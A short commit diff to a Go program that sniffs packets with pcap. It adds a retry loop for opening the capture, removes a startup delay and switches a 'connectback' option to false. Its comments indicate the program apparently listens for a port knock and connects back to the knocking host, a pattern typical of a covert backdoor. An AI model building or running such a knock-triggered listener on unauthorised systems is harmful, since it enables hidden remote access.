Adding error handling for socket connection

main.go

@@ -64,20 +64,28 @@ func sInit(os string) *targetInfo {
 
 	// if true, connect back to knocking
 	// IP on connectbackPort
-	tInfo.connectback = true
+	tInfo.connectback = false
 	// only relevant if connectback is true
 	tInfo.connectbackPort = "8080"
 
 	return &tInfo
 }
 
+func openCapture(tInfo *targetInfo) *pcap.Handle {
+	for {
+		handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
+		if err == nil {
+			return handle
+		}
+		time.Sleep(5 * time.Second)
+	}
+}
+
 func main() {
-	time.Sleep(10 * time.Second)
 	tInfo := sInit(runtime.GOOS)
 
 	// Read package and analze them
-	handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
-	errorPrinter(err)
+	handle := openCapture(tInfo)
 
 	handle.SetBPFFilter(tInfo.filter)
 	packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()